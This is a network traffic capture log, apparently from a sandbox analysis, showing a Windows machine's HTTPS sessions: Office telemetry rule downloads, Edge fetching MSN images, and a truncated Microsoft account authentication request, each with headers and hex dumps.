2024-11-11 18:52:29 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.5	49917	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:52:29 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:52:29 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:52:29 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: c08ebcb6-401e-0064-7bd5-3354af000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T185229Z-174f7845968jrjrxhC1EWRmmrs00000005hg000000004q37 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:52:29 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.5	49915	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:52:29 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:52:29 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:52:29 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 7f4584eb-c01e-008e-75d5-337381000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T185229Z-174f7845968c2t8dhC1EWR8s2000000004z000000000sdek x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:52:29 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
125	192.168.2.5	49920	23.57.90.111	443	7324	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:52:29 UTC	506	OUT	GET /tenant/amp/entityid/AA1sFuPI?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-11 18:52:29 UTC	550	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1sFuPI?w=168&h=168&q=60&m=6&f=jpg&u=t Last-Modified: Fri, 01 Nov 2024 15:19:08 GMT X-Source-Length: 17955 X-Datacenter: northeu X-ActivityId: d2440427-50e1-4b1e-9511-bbaa45a53b32 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 8192 Cache-Control: public, max-age=332794 Expires: Fri, 15 Nov 2024 15:19:03 GMT Date: Mon, 11 Nov 2024 18:52:29 GMT Connection: close
2024-11-11 18:52:29 UTC	8192	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff c0 00 11 08 00 a8 00 a8 03 01 11 00 02 11 01 03 11 01 ff c4 01 a2 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa 01 00 03 01 Data Ascii: JFIF``}!1AQa"q2#BR$3br%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
126	192.168.2.5	49926	23.57.90.111	443	7324	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:52:30 UTC	505	OUT	GET /tenant/amp/entityid/AAAAWUx?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-11 18:52:30 UTC	548	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Sat, 09 Nov 2024 13:52:58 GMT X-Datacenter: eastus X-ActivityId: 98e969a8-4f49-4d93-9fd2-e52de745d7b3 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/jpeg Content-Location: https://img.s-msn.com/tenant/amp/entityid/AAAAWUx?w=168&h=168&q=60&m=6&f=jpg&u=t X-Source-Length: 62552 Content-Length: 8192 Cache-Control: public, max-age=241271 Expires: Thu, 14 Nov 2024 13:53:41 GMT Date: Mon, 11 Nov 2024 18:52:30 GMT Connection: close
2024-11-11 18:52:30 UTC	8192	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff c0 00 11 08 00 a8 00 a8 03 01 11 00 02 11 01 03 11 01 ff c4 01 a2 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa 01 00 03 01 Data Ascii: JFIF``}!1AQa"q2#BR$3br%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.5	49923	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:52:30 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:52:30 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:52:30 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: 1815edcd-001e-0028-0ed5-33c49f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T185230Z-174f7845968j6t2phC1EWRcfe800000005k0000000003t32 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:52:30 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.5	49921	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:52:30 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:52:30 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:52:30 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: 9a2be917-a01e-0053-13d5-338603000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T185230Z-174f7845968cdxdrhC1EWRg0en00000005a000000000ag3g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:52:30 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.5	49924	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:52:30 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:52:30 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:52:30 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: 1c14dce3-c01e-0079-04d5-33e51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T185230Z-174f784596886s2bhC1EWR743w00000005d0000000009a7r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:52:30 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.5	49922	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:52:30 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:52:30 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:52:30 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: 1c14dccd-c01e-0079-70d5-33e51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T185230Z-174f7845968c2t8dhC1EWR8s20000000055g0000000018ae x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:52:30 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.5	49925	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:52:30 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:52:30 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:52:30 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: 31c5e564-101e-008d-76d5-3392e5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T185230Z-174f7845968vwdr7hC1EWRsh3w000000056g00000000rfzc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:52:30 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
132	192.168.2.5	49927	40.126.32.68	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:52:30 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-11-11 18:52:30 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-11 18:52:31 UTC	653	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Mon, 11 Nov 2024 18:51:31 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" FdrTelemetry: &481=21&59=33&213=10&215=0&315=1&215=0&315=1&214=56&288=16.0.30405.9 Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C550_BAY x-ms-request-id: a2da1872-df7a-4985-aaf2-d72ff754c7db PPServer: PPV: 30 H: PH1PEPF00018BED V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Mon, 11 Nov 2024 18:52:30 GMT Connection: close Content-Length: 11391
2024-11-11 18:52:31 UTC	11391	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
133	192.168.2.5	49928	23.57.90.111	443	7324	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
